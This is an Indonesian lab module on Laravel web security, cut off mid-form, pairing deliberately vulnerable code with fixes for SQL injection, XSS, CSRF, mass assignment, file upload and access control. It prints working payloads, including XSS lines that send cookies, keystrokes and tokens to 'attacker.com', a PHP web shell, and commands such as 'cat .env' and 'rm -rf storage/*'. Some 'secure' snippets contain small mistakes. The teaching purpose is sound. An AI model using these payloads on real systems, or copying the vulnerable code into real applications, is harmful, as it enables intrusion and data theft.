DAFTAR ISI
- Pendahuluan
- Persiapan Environment
- Pertemuan 6: Eksploitasi Dasar
- Pertemuan 7: Eksploitasi Lanjutan
- Kesimpulan
PENDAHULUAN
Tujuan Praktikum
Setelah menyelesaikan praktikum ini, mahasiswa diharapkan dapat:
- Memahami berbagai jenis eksploitasi web pada aplikasi Laravel
- Melakukan simulasi serangan dalam lingkungan yang terkontrol
- Mengimplementasikan teknik mitigasi dan pencegahan
- Membangun aplikasi Laravel yang aman
Capaian Pembelajaran
- C1 (Knowledge): Memahami konsep keamanan web dan vulnerability Laravel
- C3 (Application): Melakukan eksploitasi dalam lab environment
- C4 (Analysis): Menganalisis celah keamanan aplikasi
- C5 (Synthesis): Merancang solusi keamanan yang tepat
PERSIAPAN ENVIRONMENT
Requirement Sistem
- PHP 8.1+
- Composer 2.x
- MySQL 8.0+ / PostgreSQL
- Laravel 10.x
- Git
Setup Project Praktikum
# 1. Buat project Laravel baru
composer create-project laravel/laravel security-lab "10.*"
cd security-lab
# 2. Konfigurasi database (.env)
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=security_lab
DB_USERNAME=root
DB_PASSWORD=
# 3. Install dependencies tambahan
composer require laravel/breeze --dev
php artisan breeze:install blade
npm install && npm run dev
# 4. Migrate database
php artisan migrate
# 5. Jalankan server
php artisan serve
Struktur Project
security-lab/
├── app/
│ ├── Http/
│ │ ├── Controllers/
│ │ └── Middleware/
│ └── Models/
├── database/
│ ├── migrations/
│ └── seeders/
├── resources/
│ └── views/
└── routes/
└── web.php
PERTEMUAN 1: EKSPLOITASI DASAR
Durasi: 3 Jam
Topik: SQL Injection, XSS, CSRF, Mass Assignment
MODUL 1: SQL INJECTION
1.1 Teori Singkat
SQL Injection adalah teknik injeksi kode yang mengeksploitasi celah keamanan pada layer database aplikasi. Penyerang dapat memanipulasi query SQL untuk mengakses, memodifikasi, atau menghapus data.
1.2 Skenario Vulnerable Code
Buat Controller Vulnerable:
php artisan make:controller VulnerableUserController
File: app/Http/Controllers/VulnerableUserController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
class VulnerableUserController extends Controller
{
// VULNERABLE: SQL Injection
public function searchVulnerable(Request $request)
{
$search = $request->input('search');
// BAHAYA: Query langsung tanpa sanitasi
$users = DB::select("SELECT * FROM users WHERE name LIKE '%$search%'");
return view('users.search', compact('users'));
}
}
Buat View:
mkdir -p resources/views/users
File: resources/views/users/search.blade.php
<!DOCTYPE html>
<html>
<head>
<title>User Search - VULNERABLE</title>
</head>
<body>
<h1>Search Users (VULNERABLE VERSION)</h1>
<form method="GET" action="/vulnerable/search">
<input type="text" name="search" placeholder="Search name...">
<button type="submit">Search</button>
</form>
@if(isset($users))
<h2>Results:</h2>
<table border="1">
<tr>
<th>ID</th>
<th>Name</th>
<th>Email</th>
</tr>
@foreach($users as $user)
<tr>
<td>{{ $user->id }}</td>
<td>{{ $user->name }}</td>
<td>{{ $user->email }}</td>
</tr>
@endforeach
</table>
@endif
</body>
</html>
Route: routes/web.php
use App\Http\Controllers\VulnerableUserController;
Route::get('/vulnerable/search', [VulnerableUserController::class, 'searchVulnerable']);
1.3 Eksploitasi SQL Injection
Test Serangan:
Payload 1 (Basic): ' OR '1'='1
URL: http://localhost:8000/vulnerable/search?search=' OR '1'='1
Payload 2 (Union-based): ' UNION SELECT 1,2,3--
URL: http://localhost:8000/vulnerable/search?search=' UNION SELECT 1,2,3--
Payload 3 (Bypass): admin'--
URL: http://localhost:8000/vulnerable/search?search=admin'--
Hasil Eksploitasi:
- Payload 1: Menampilkan semua user
- Payload 2: Mengambil data dari tabel lain
- Payload 3: Bypass authentication
1.4 Mitigasi SQL Injection
Buat Controller Secure:
php artisan make:controller SecureUserController
File: app/Http/Controllers/SecureUserController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\User;
class SecureUserController extends Controller
{
// SECURE: Menggunakan Eloquent ORM
public function searchSecure(Request $request)
{
$search = $request->validated(['search' => 'nullable|string|max:255']);
// Metode 1: Eloquent ORM (Recommended)
$users = User::where('name', 'LIKE', "%{$search}%")->get();
return view('users.search-secure', compact('users'));
}
// SECURE: Menggunakan Query Builder dengan Parameter Binding
public function searchSecureQueryBuilder(Request $request)
{
$search = $request->input('search');
// Metode 2: Parameter Binding
$users = DB::select(
"SELECT * FROM users WHERE name LIKE ?",
["%{$search}%"]
);
return view('users.search-secure', compact('users'));
}
// SECURE: Dengan validasi ketat
public function searchSecureValidated(Request $request)
{
$validated = $request->validate([
'search' => 'required|string|max:100|alpha_dash'
]);
$users = User::where('name', 'LIKE', "%{$validated['search']}%")->get();
return view('users.search-secure', compact('users'));
}
}
Best Practices SQL Injection Prevention:
// ✅ BAIK: Eloquent ORM
User::where('email', $email)->first();
// ✅ BAIK: Query Builder dengan binding
DB::table('users')->where('email', '=', $email)->get();
// ✅ BAIK: Named bindings
DB::select('SELECT * FROM users WHERE email = :email', ['email' => $email]);
// ❌ BURUK: Raw query tanpa binding
DB::select("SELECT * FROM users WHERE email = '$email'");
// ❌ BURUK: Concatenation
DB::table('users')->whereRaw("email = '$email'")->get();
MODUL 2: CROSS-SITE SCRIPTING (XSS)
2.1 Teori Singkat
XSS memungkinkan penyerang menginjeksi script berbahaya (biasanya JavaScript) ke halaman web yang dilihat oleh pengguna lain.
Jenis XSS:
- Stored XSS: Script disimpan di database
- Reflected XSS: Script di-reflect dari input user
- DOM-based XSS: Manipulasi DOM di sisi klien
2.2 Skenario Vulnerable Code
Buat Model dan Migration:
php artisan make:model Comment -m
File: database/migrations/xxxx_create_comments_table.php
public function up()
{
Schema::create('comments', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained()->onDelete('cascade');
$table->text('content');
$table->timestamps();
});
}
php artisan migrate
Buat Controller:
php artisan make:controller CommentController
File: app/Http/Controllers/CommentController.php
<?php
namespace App\Http\Controllers;
use App\Models\Comment;
use Illuminate\Http\Request;
class CommentController extends Controller
{
// VULNERABLE: Stored XSS
public function storeVulnerable(Request $request)
{
Comment::create([
'user_id' => auth()->id() ?? 1,
'content' => $request->input('content') // Tidak ada sanitasi
]);
return redirect()->back();
}
public function indexVulnerable()
{
$comments = Comment::all();
return view('comments.index-vulnerable', compact('comments'));
}
}
File: resources/views/comments/index-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Comments - VULNERABLE</title>
</head>
<body>
<h1>Comments Section (VULNERABLE)</h1>
<form method="POST" action="/vulnerable/comments">
@csrf
<textarea name="content" rows="4" cols="50"></textarea><br>
<button type="submit">Submit Comment</button>
</form>
<h2>All Comments:</h2>
@foreach($comments as $comment)
<div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
<!-- BAHAYA: Menampilkan content tanpa escape -->
<p>{!! $comment->content !!}</p>
<small>Posted at: {{ $comment->created_at }}</small>
</div>
@endforeach
</body>
</html>
Route:
Route::post('/vulnerable/comments', [CommentController::class, 'storeVulnerable']);
Route::get('/vulnerable/comments', [CommentController::class, 'indexVulnerable']);
2.3 Eksploitasi XSS
Test Serangan:
<!-- Payload 1: Alert Box -->
<script>alert('XSS Vulnerable!')</script>
<!-- Payload 2: Cookie Stealing -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- Payload 3: Redirect -->
<script>window.location='https://malicious-site.com'</script>
<!-- Payload 4: Keylogger -->
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
<!-- Payload 5: DOM Manipulation -->
<img src=x onerror="document.body.innerHTML='<h1>HACKED!</h1>'">
<!-- Payload 6: Session Hijacking -->
<script>
var sessionToken = localStorage.getItem('token');
fetch('https://attacker.com/steal?token=' + sessionToken);
</script>
2.4 Mitigasi XSS
Controller Secure:
<?php
namespace App\Http\Controllers;
use App\Models\Comment;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
class CommentController extends Controller
{
// SECURE: Dengan validasi dan sanitasi
public function storeSecure(Request $request)
{
$validated = $request->validate([
'content' => 'required|string|max:1000'
]);
// Laravel otomatis escape HTML entities
Comment::create([
'user_id' => auth()->id() ?? 1,
'content' => $validated['content']
]);
return redirect()->back()->with('success', 'Comment posted!');
}
public function indexSecure()
{
$comments = Comment::all();
return view('comments.index-secure', compact('comments'));
}
}
File: resources/views/comments/index-secure.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Comments - SECURE</title>
<meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
<h1>Comments Section (SECURE)</h1>
<form method="POST" action="/secure/comments">
@csrf
<textarea name="content" rows="4" cols="50" maxlength="1000"></textarea><br>
<button type="submit">Submit Comment</button>
</form>
@if(session('success'))
<p style="color: green;">{{ session('success') }}</p>
@endif
<h2>All Comments:</h2>
@foreach($comments as $comment)
<div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
<!-- ✅ SECURE: Menggunakan {{ }} untuk auto-escape -->
<p>{{ $comment->content }}</p>
<small>Posted at: {{ $comment->created_at }}</small>
</div>
@endforeach
</body>
</html>
Best Practices XSS Prevention:
// ✅ BAIK: Auto-escape dengan {{ }}
{{ $userInput }}
// ✅ BAIK: Manual escape
{{ e($userInput) }}
{{ htmlspecialchars($userInput) }}
// ✅ BAIK: Strip tags
{{ strip_tags($userInput) }}
// ❌ BURUK: Raw output
{!! $userInput !!}
// ✅ BAIK: Content Security Policy (CSP)
// File: app/Http/Middleware/AddSecurityHeaders.php
Tambahkan Middleware CSP:
php artisan make:middleware AddSecurityHeaders
<?php
namespace App\Http\Middleware;
use Closure;
class AddSecurityHeaders
{
public function handle($request, Closure $next)
{
$response = $next($request);
$response->headers->set('X-Content-Type-Options', 'nosniff');
$response->headers->set('X-Frame-Options', 'DENY');
$response->headers->set('X-XSS-Protection', '1; mode=block');
$response->headers->set('Content-Security-Policy', "default-src 'self'; script-src 'self'");
return $response;
}
}
Register di app/Http/Kernel.php:
protected $middlewareGroups = [
'web' => [
// ... middleware lain
\App\Http\Middleware\AddSecurityHeaders::class,
],
];
MODUL 3: CROSS-SITE REQUEST FORGERY (CSRF)
3.1 Teori Singkat
CSRF memaksa user yang sudah terautentikasi untuk melakukan aksi yang tidak diinginkan pada aplikasi web tanpa sepengetahuan mereka.
3.2 Skenario Vulnerable Code
Buat Controller:
php artisan make:controller ProfileController
File: app/Http/Controllers/ProfileController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\User;
class ProfileController extends Controller
{
// VULNERABLE: Tanpa CSRF protection
public function updateVulnerable(Request $request)
{
$user = User::find(auth()->id() ?? 1);
$user->update([
'email' => $request->input('email')
]);
return redirect()->back()->with('success', 'Profile updated!');
}
}
File: resources/views/profile/edit-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Edit Profile - VULNERABLE</title>
</head>
<body>
<h1>Edit Profile (VULNERABLE)</h1>
<!-- BAHAYA: Tidak ada CSRF token -->
<form method="POST" action="/vulnerable/profile/update">
<label>Email:</label>
<input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}"><br>
<button type="submit">Update Profile</button>
</form>
</body>
</html>
Route (VULNERABLE - Tanpa middleware csrf):
// JANGAN LAKUKAN INI DI PRODUCTION!
Route::post('/vulnerable/profile/update', [ProfileController::class, 'updateVulnerable'])
->withoutMiddleware([\App\Http\Middleware\VerifyCsrfToken::class]);
3.3 Eksploitasi CSRF
Buat File Attack HTML (di luar aplikasi Laravel):
File: csrf-attack.html
<!DOCTYPE html>
<html>
<head>
<title>Win iPhone 15 Pro!</title>
</head>
<body>
<h1>Congratulations! Click below to claim your prize!</h1>
<button onclick="document.getElementById('csrfForm').submit()">Claim Prize</button>
<!-- Hidden form untuk serangan CSRF -->
<form id="csrfForm" method="POST" action="http://localhost:8000/vulnerable/profile/update" style="display:none;">
<input type="email" name="email" value="hacker@evil.com">
</form>
<!-- Auto-submit menggunakan JavaScript -->
<script>
// Otomatis submit saat halaman dimuat
// window.onload = function() {
// document.getElementById('csrfForm').submit();
// }
</script>
</body>
</html>
Skenario Serangan:
- Victim login ke aplikasi Laravel (http://localhost:8000)
- Victim membuka link phishing yang berisi
csrf-attack.html - Form hidden otomatis ter-submit
- Email victim berubah menjadi
hacker@evil.com
3.4 Mitigasi CSRF
Controller Secure (menggunakan middleware CSRF Laravel):
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\User;
class ProfileController extends Controller
{
// SECURE: Laravel CSRF protection aktif
public function updateSecure(Request $request)
{
$validated = $request->validate([
'email' => 'required|email|unique:users,email,' . auth()->id()
]);
$user = User::find(auth()->id());
$user->update($validated);
return redirect()->back()->with('success', 'Profile updated securely!');
}
}
File: resources/views/profile/edit-secure.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Edit Profile - SECURE</title>
<meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
<h1>Edit Profile (SECURE)</h1>
<form method="POST" action="/secure/profile/update">
<!-- ✅ SECURE: CSRF Token -->
@csrf
<label>Email:</label>
<input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}" required><br>
<button type="submit">Update Profile</button>
</form>
@if(session('success'))
<p style="color: green;">{{ session('success') }}</p>
@endif
</body>
</html>
Route (SECURE - Dengan middleware csrf):
Route::post('/secure/profile/update', [ProfileController::class, 'updateSecure'])
->middleware('auth');
CSRF Protection untuk AJAX:
<script>
// Setup CSRF token untuk semua AJAX request
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
}
});
// Atau menggunakan Fetch API
fetch('/secure/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({
email: 'newemail@example.com'
})
})
.then(response => response.json())
.then(data => console.log(data));
</script>
Best Practices CSRF Prevention:
// ✅ BAIK: Selalu gunakan @csrf dalam form
<form method="POST">
@csrf
<!-- form fields -->
</form>
// ✅ BAIK: Verifikasi CSRF token di middleware
// Sudah default di Laravel (VerifyCsrfToken middleware)
// ✅ BAIK: Gunakan SameSite cookie
// config/session.php
'same_site' => 'lax', // atau 'strict'
// ✅ BAIK: Double Submit Cookie Pattern (alternatif)
Route::post('/action', function(Request $request) {
if ($request->cookie('csrf') !== $request->input('csrf_token')) {
abort(403, 'CSRF token mismatch');
}
// Process request
});
// ❌ BURUK: Menonaktifkan CSRF protection
// Jangan pernah lakukan ini kecuali untuk API stateless dengan token authentication
MODUL 4: MASS ASSIGNMENT
4.1 Teori Singkat
Mass Assignment vulnerability terjadi ketika aplikasi secara otomatis assign input dari request ke model properties tanpa filtering yang tepat, memungkinkan attacker memodifikasi field yang tidak seharusnya.
4.2 Skenario Vulnerable Code
Buat Model:
php artisan make:model Product -m
File: database/migrations/xxxx_create_products_table.php
public function up()
{
Schema::create('products', function (Blueprint $table) {
$table->id();
$table->string('name');
$table->text('description');
$table->decimal('price', 10, 2);
$table->integer('stock');
$table->boolean('is_featured')->default(false);
$table->boolean('is_admin_only')->default(false);
$table->timestamps();
});
}
php artisan migrate
Model VULNERABLE:
File: app/Models/Product.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Product extends Model
{
// BAHAYA: Menggunakan $guarded = [] atau tanpa $fillable
protected $guarded = []; // Semua field bisa di-assign!
// Atau tidak mendefinisikan sama sekali (lebih bahaya)
}
Controller:
php artisan make:controller ProductController
File: app/Http/Controllers/ProductController.php
<?php
namespace App\Http\Controllers;
use App\Models\Product;
use Illuminate\Http\Request;
class ProductController extends Controller
{
// VULNERABLE: Mass Assignment
public function storeVulnerable(Request $request)
{
// BAHAYA: Semua input langsung di-assign
$product = Product::create($request->all());
return redirect()->back()->with('success', 'Product created!');
}
public function updateVulnerable(Request $request, $id)
{
$product = Product::findOrFail($id);
// BAHAYA: Update tanpa filtering
$product->update($request->all());
return redirect()->back()->with('success', 'Product updated!');
}
}
File: resources/views/products/create-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Create Product - VULNERABLE</title>
</head>
<body>
<h1>Create Product (VULNERABLE)</h1>
<form method="POST" action="/vulnerable/products">
@csrf
<label>Name:</label>
<input type="text" name="name" required><br>
<label>Description:</label>
<textarea name="description" required></textarea><br>
<label>Price:</label>
<input type="number" step="0.01" name="price" required><br>
<label>Stock:</label>
<input type="number" name="stock" required><br>
<button type="submit">Create Product</button>
</form>
</body>
</html>
4.3 Eksploitasi Mass Assignment
Test Serangan menggunakan cURL atau Postman:
# Serangan 1: Mengatur is_featured=true (seharusnya hanya admin)
curl -X POST http://localhost:8000/vulnerable/products \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "name=Hacked Product&description=Test&price=100&stock=10&is_featured=1&is_admin_only=1"
# Serangan 2: Modify dengan form HTML custom
File: mass-assignment-attack.html
<!DOCTYPE html>
<html>
<body>
<h1>Create Product (With Hidden Fields)</h1>
<form method="POST" action="http://localhost:8000/vulnerable/products">
<input type="text" name="name" value="Normal Product"><br>
<textarea name="description">Normal Description</textarea><br>
<input type="number" name="price" value="100"><br>
<input type="number" name="stock" value="10"><br>
<!-- Hidden malicious fields -->
<input type="hidden" name="is_featured" value="1">
<input type="hidden" name="is_admin_only" value="1">
<input type="hidden" name="price" value="0.01"> <!-- Override price -->
<button type="submit">Submit</button>
</form>
</body>
</html>
Hasil:
- Produk yang dibuat akan memiliki
is_featured=truedanis_admin_only=true - Attacker bisa mengubah field yang tidak terlihat di form
4.4 Mitigasi Mass Assignment
Model SECURE:
File: app/Models/Product.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Product extends Model
{
// ✅ SECURE: Whitelist dengan $fillable
protected $fillable = [
'name',
'description',
'price',
'stock'
];
// ✅ SECURE: Blacklist dengan $guarded (alternatif)
// protected $guarded = [
// 'is_featured',
// 'is_admin_only'
// ];
// Field yang tidak boleh di-mass assign
protected $hidden = [
'is_admin_only'
];
}
Controller SECURE:
<?php
namespace App\Http\Controllers;
use App\Models\Product;
use Illuminate\Http\Request;
class ProductController extends Controller
{
// SECURE: Dengan validasi eksplisit
public function storeSecure(Request $request)
{
$validated = $request->validate([
'name' => 'required|string|max:255',
'description' => 'required|string',
'price' => 'required|numeric|min:0',
'stock' => 'required|integer|min:0'
]);
// Hanya field yang divalidasi yang di-assign
$product = Product::create($validated);
// Field sensitive di-set manual oleh admin
if (auth()->user()->is_admin ?? false) {
$product->is_featured = $request->boolean('is_featured');
$product->save();
}
return redirect()->back()->with('success', 'Product created securely!');
}
// SECURE: Menggunakan only() untuk filtering
public function storeSecureV2(Request $request)
{
$data = $request->only(['name', 'description', 'price', 'stock']);
$product = Product::create($data);
return redirect()->back()->with('success', 'Product created!');
}
// SECURE: Manual assignment
public function storeSecureV3(Request $request)
{
$product = new Product();
$product->name = $request->input('name');
$product->description = $request->input('description');
$product->price = $request->input('price');
$product->stock = $request->input('stock');
$product->save();
return redirect()->back()->with('success', 'Product created!');
}
}
Best Practices Mass Assignment Prevention:
// ✅ BAIK: Definisikan $fillable di model
protected $fillable = ['name', 'email', 'password'];
// ✅ BAIK: Atau gunakan $guarded untuk blacklist
protected $guarded = ['is_admin', 'role'];
// ✅ BAIK: Validasi input sebelum create/update
$validated = $request->validate([...]);
Model::create($validated);
// ✅ BAIK: Gunakan only() untuk filtering
$data = $request->only(['name', 'email']);
// ✅ BAIK: Manual assignment untuk field sensitive
$user = new User($validated);
$user->role = 'user'; // Set securely
$user->save();
// ❌ BURUK: $guarded = []
protected $guarded = [];
// ❌ BURUK: Tanpa validasi
Model::create($request->all());
// ❌ BURUK: update() tanpa filtering
$model->update($request->all());
TUGAS PERTEMUAN 1
Tugas Mandiri
-
SQL Injection:
- Implementasikan fitur login dengan vulnerability SQL Injection
- Buat exploit untuk bypass authentication
- Perbaiki dengan menggunakan parameter binding
-
XSS:
- Buat blog sederhana dengan stored XSS vulnerability
- Implementasikan 3 payload XSS berbeda
- Perbaiki dengan proper escaping dan CSP
-
CSRF:
- Buat fitur delete account dengan CSRF vulnerability
- Buat halaman attack eksternal
- Implementasikan CSRF token protection
-
Mass Assignment:
- Buat user registration dengan role assignment vulnerability
- Exploit untuk membuat admin user
- Perbaiki dengan $fillable/$guarded
Laporan Praktikum 1
Buat laporan yang berisi:
- Screenshot hasil eksploitasi
- Penjelasan teknis setiap vulnerability
- Kode vulnerable dan secure (before/after)
- Analisis dampak setiap serangan
- Kesimpulan dan rekomendasi
PERTEMUAN 2: EKSPLOITASI LANJUTAN
Durasi: 3 Jam
Topik: File Upload Vulnerability, Authentication Bypass, Command Injection, Insecure Deserialization
MODUL 5: FILE UPLOAD VULNERABILITY
5.1 Teori Singkat
File upload vulnerability terjadi ketika aplikasi tidak memvalidasi file yang di-upload dengan benar, memungkinkan attacker meng-upload file berbahaya seperti web shell.
5.2 Skenario Vulnerable Code
Buat Model dan Migration:
php artisan make:model Document -m
File: database/migrations/xxxx_create_documents_table.php
public function up()
{
Schema::create('documents', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained();
$table->string('filename');
$table->string('filepath');
$table->string('mime_type')->nullable();
$table->integer('filesize')->nullable();
$table->timestamps();
});
}
php artisan migrate
Controller VULNERABLE:
php artisan make:controller FileUploadController
File: app/Http/Controllers/FileUploadController.php
<?php
namespace App\Http\Controllers;
use App\Models\Document;
use Illuminate\Http\Request;
class FileUploadController extends Controller
{
// VULNERABLE: File Upload tanpa validasi
public function uploadVulnerable(Request $request)
{
if ($request->hasFile('document')) {
$file = $request->file('document');
// BAHAYA: Tidak ada validasi tipe file
$filename = $file->getClientOriginalName();
// BAHAYA: Simpan dengan nama asli (bisa overwrite)
$path = $file->move(public_path('uploads'), $filename);
Document::create([
'user_id' => auth()->id() ?? 1,
'filename' => $filename,
'filepath' => 'uploads/' . $filename
]);
return redirect()->back()->with('success', 'File uploaded!');
}
return redirect()->back()->with('error', 'No file uploaded.');
}
public function indexVulnerable()
{
$documents = Document::all();
return view('uploads.index-vulnerable', compact('documents'));
}
}
File: resources/views/uploads/index-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>File Upload - VULNERABLE</title>
</head>
<body>
<h1>Upload Document (VULNERABLE)</h1>
<form method="POST" action="/vulnerable/upload" enctype="multipart/form-data">
@csrf
<input type="file" name="document">
<button type="submit">Upload</button>
</form>
@if(session('success'))
<p style="color: green;">{{ session('success') }}</p>
@endif
<h2>Uploaded Files:</h2>
<ul>
@foreach($documents as $doc)
<li>
<a href="/uploads/{{ $doc->filename }}" target="_blank">
{{ $doc->filename }}
</a>
</li>
@endforeach
</ul>
</body>
</html>
Route:
Route::post('/vulnerable/upload', [FileUploadController::class, 'uploadVulnerable']);
Route::get('/vulnerable/upload', [FileUploadController::class, 'indexVulnerable']);
5.3 Eksploitasi File Upload
Buat Web Shell PHP:
File: shell.php
<?php
// Simple Web Shell
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
}
?>
<form method="GET">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
Langkah Eksploitasi:
- Upload shell.php melalui form
-
Akses shell di:
http://localhost:8000/uploads/shell.php -
Eksekusi command:
-
ls -la- list files -
cat .env- baca environment variables -
whoami- cek user yang menjalankan -
rm -rf storage/*- hapus storage (JANGAN LAKUKAN!)
-
Variasi Serangan:
// Shell dengan nama double extension
shell.php.jpg
// Shell dengan null byte injection (PHP < 5.3.4)
shell.php%00.jpg
// Shell dengan case manipulation
shell.PHP
shell.pHp
// Polyglot file (valid image + PHP code)
// GIF89a<?php system($_GET['cmd']); ?>
Upload Malicious File via cURL:
curl -X POST http://localhost:8000/vulnerable/upload \
-F "document=@shell.php" \
-H "Cookie: laravel_session=..."
5.4 Mitigasi File Upload Vulnerability
Controller SECURE:
<?php
namespace App\Http\Controllers;
use App\Models\Document;
use Illuminate\Http\Request;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;
class FileUploadController extends Controller
{
// SECURE: File Upload dengan validasi lengkap
public function uploadSecure(Request $request)
{
$validated = $request->validate([
'document' => 'required|file|mimes:pdf,doc,docx,jpg,jpeg,png|max:2048' // 2MB
]);
if ($request->hasFile('document')) {
$file = $request->file('document');
// Generate nama file unik
$filename = Str::uuid() . '.' . $file->getClientOriginalExtension();
// Simpan di storage private (bukan public)
$path = $file->storeAs('documents', $filename, 'private');
// Verifikasi MIME type dari content
$mimeType = $file->getMimeType();
$allowedMimes = ['application/pdf', 'image/jpeg', 'image/png'];
if (!in_array($mimeType, $allowedMimes)) {
return redirect()->back()->with('error', 'Invalid file type!');
}
Document::create([
'user_id' => auth()->id(),
'filename' => $file->getClientOriginalName(),
'filepath' => $path,
'mime_type' => $mimeType,
'filesize' => $file->getSize()
]);
return redirect()->back()->with('success', 'File uploaded securely!');
}
return redirect()->back()->with('error', 'No file uploaded.');
}
// Download file securely
public function downloadSecure($id)
{
$document = Document::findOrFail($id);
// Verifikasi ownership
if ($document->user_id !== auth()->id() && !auth()->user()->is_admin) {
abort(403, 'Unauthorized');
}
// Download dari private storage
return Storage::disk('private')->download(
$document->filepath,
$document->filename
);
}
}
File: resources/views/uploads/index-secure.blade.php
<!DOCTYPE html>
<html>
<head>
<title>File Upload - SECURE</title>
</head>
<body>
<h1>Upload Document (SECURE)</h1>
<form method="POST" action="/secure/upload" enctype="multipart/form-data">
@csrf
<input type="file" name="document" accept=".pdf,.doc,.docx,.jpg,.jpeg,.png">
<button type="submit">Upload</button>
<p><small>Allowed: PDF, DOC, DOCX, JPG, PNG (Max 2MB)</small></p>
</form>
@if($errors->any())
<p style="color: red;">{{ $errors->first() }}</p>
@endif
@if(session('success'))
<p style="color: green;">{{ session('success') }}</p>
@endif
<h2>Your Files:</h2>
<ul>
@foreach($documents as $doc)
<li>
<a href="/secure/download/{{ $doc->id }}">
{{ $doc->filename }}
</a>
({{ number_format($doc->filesize / 1024, 2) }} KB)
</li>
@endforeach
</ul>
</body>
</html>
Konfigurasi Storage:
File: config/filesystems.php
'disks' => [
'private' => [
'driver' => 'local',
'root' => storage_path('app/private'),
'visibility' => 'private',
],
],
Best Practices File Upload Security:
// ✅ BAIK: Validasi tipe file dengan whitelist
'file' => 'required|mimes:pdf,docx|max:2048'
// ✅ BAIK: Verifikasi MIME type dari content (bukan extension)
$mimeType = $file->getMimeType();
// ✅ BAIK: Generate nama file unik
$filename = Str::uuid() . '.' . $extension;
// ✅ BAIK: Simpan di storage private
$file->storeAs('documents', $filename, 'private');
// ✅ BAIK: Scan virus (dengan ClamAV)
// composer require xenolope/quahog
$scanner = new \Xenolope\Quahog\Client(...);
$result = $scanner->scanFile($file->path());
// ✅ BAIK: Set permission file
chmod(storage_path('app/private/' . $filename), 0644);
// ❌ BURUK: Simpan dengan nama asli
$file->move(public_path('uploads'), $file->getClientOriginalName());
// ❌ BURUK: Validasi hanya dari extension
if (pathinfo($filename, PATHINFO_EXTENSION) === 'jpg') { ... }
// ❌ BURUK: Simpan di public directory
$file->move(public_path('uploads'), ...);
// ❌ BURUK: Tidak ada size limit
Image Validation dengan Intervention Image:
composer require intervention/image
use Intervention\Image\Facades\Image;
public function uploadImage(Request $request)
{
$validated = $request->validate([
'image' => 'required|image|max:2048'
]);
$image = $request->file('image');
// Verify it's actually an image
try {
$img = Image::make($image->path());
// Resize to prevent large files
$img->resize(1920, 1080, function ($constraint) {
$constraint->aspectRatio();
$constraint->upsize();
});
// Remove EXIF data (privacy)
$img->orientate();
// Save
$filename = Str::uuid() . '.jpg';
$img->save(storage_path('app/private/images/' . $filename), 85);
} catch (\Exception $e) {
return back()->with('error', 'Invalid image file');
}
}
MODUL 6: AUTHENTICATION & AUTHORIZATION BYPASS
6.1 Teori Singkat
Authentication bypass memungkinkan attacker mengakses sistem tanpa kredensial yang valid. Authorization bypass memungkinkan attacker mengakses resource yang seharusnya tidak dapat mereka akses.
6.2 Skenario Vulnerable Code
Setup Authentication:
php artisan make:migration add_role_to_users_table
File: database/migrations/xxxx_add_role_to_users_table.php
public function up()
{
Schema::table('users', function (Blueprint $table) {
$table->enum('role', ['user', 'admin'])->default('user');
});
}
php artisan migrate
Controller VULNERABLE:
php artisan make:controller AdminController
File: app/Http/Controllers/AdminController.php
<?php
namespace App\Http\Controllers;
use App\Models\User;
use Illuminate\Http\Request;
class AdminController extends Controller
{
// VULNERABLE: Tidak ada authorization check
public function dashboardVulnerable()
{
// Siapa saja yang login bisa akses!
$users = User::all();
return view('admin.dashboard-vulnerable', compact('users'));
}
// VULNERABLE: Weak authorization
public function deleteUserVulnerable($id)
{
// Hanya cek jika user login, tidak cek role
if (!auth()->check()) {
return redirect('/login');
}
User::findOrFail($id)->delete();
return redirect()->back()->with('success', 'User deleted!');
}
// VULNERABLE: Client-side authorization
public function updateRoleVulnerable(Request $request, $id)
{
// BAHAYA: Percaya input dari client
$user = User::findOrFail($id);
// Tidak verify apakah requester adalah admin
$user->role = $request->input('role');
$user->save();
return redirect()->back()->with('success', 'Role updated!');
}
}
File: resources/views/admin/dashboard-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Admin Dashboard - VULNERABLE</title>
</head>
<body>
<h1>Admin Dashboard (VULNERABLE)</h1>
<table border="1">
<tr>
<th>ID</th>
<th>Name</th>
<th>Email</th>
<th>Role</th>
<th>Actions</th>
</tr>
@foreach($users as $user)
<tr>
<td>{{ $user->id }}</td>
<td>{{ $user->name }}</td>
<td>{{ $user->email }}</td>
<td>{{ $user->role }}</td>
<td>
<form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/delete" style="display:inline;">
@csrf
